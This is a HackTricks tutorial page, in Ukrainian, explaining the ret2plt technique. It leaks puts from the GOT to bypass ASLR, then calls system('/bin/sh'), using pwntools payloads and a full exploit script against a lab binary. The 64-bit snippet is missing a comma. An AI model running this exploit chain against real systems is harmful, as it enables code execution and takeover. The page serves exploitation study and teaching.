Ret2plt

Підтримайте HackTricks

Основна інформація

Метою цієї техніки є витік адреси функції з PLT, щоб обійти ASLR. Це тому, що, наприклад, якщо ви витікаєте адресу функції puts з libc, ви потім можете обчислити базу libc та обчислити зміщення для доступу до інших функцій, таких як system.

Це можна зробити за допомогою пакету pwntools, наприклад (звідси):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Зверніть увагу, як puts (використовуючи адресу з PLT) викликається з адресою puts, розташованою в GOT (глобальній таблиці зміщень). Це тому, що на момент, коли puts друкує запис GOT puts, цей запис буде містити точну адресу puts в пам'яті.

Також зверніть увагу, як адреса main використовується в експлойті, тому коли puts завершує своє виконання, бінарний файл знову викликає main замість виходу (таким чином витік адреси залишиться дійсним).

Зверніть увагу, що для цього працювати бінарний файл не може бути скомпільований з PIE або вам потрібно мати витік для обходу PIE, щоб знати адресу PLT, GOT та main. В іншому випадку спочатку потрібно обійти PIE.

Ви можете знайти повний приклад цього обходу тут. Це був остаточний експлойт з того прикладу:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Інші приклади та посилання

  • 64-бітна, увімкнена ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім ROP-гаджет для виклику system('/bin/sh').

  • 64-бітна, увімкнена ASLR, без канарейки, переповнення стеку в main від дочірньої функції. ROP-гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.

Last updated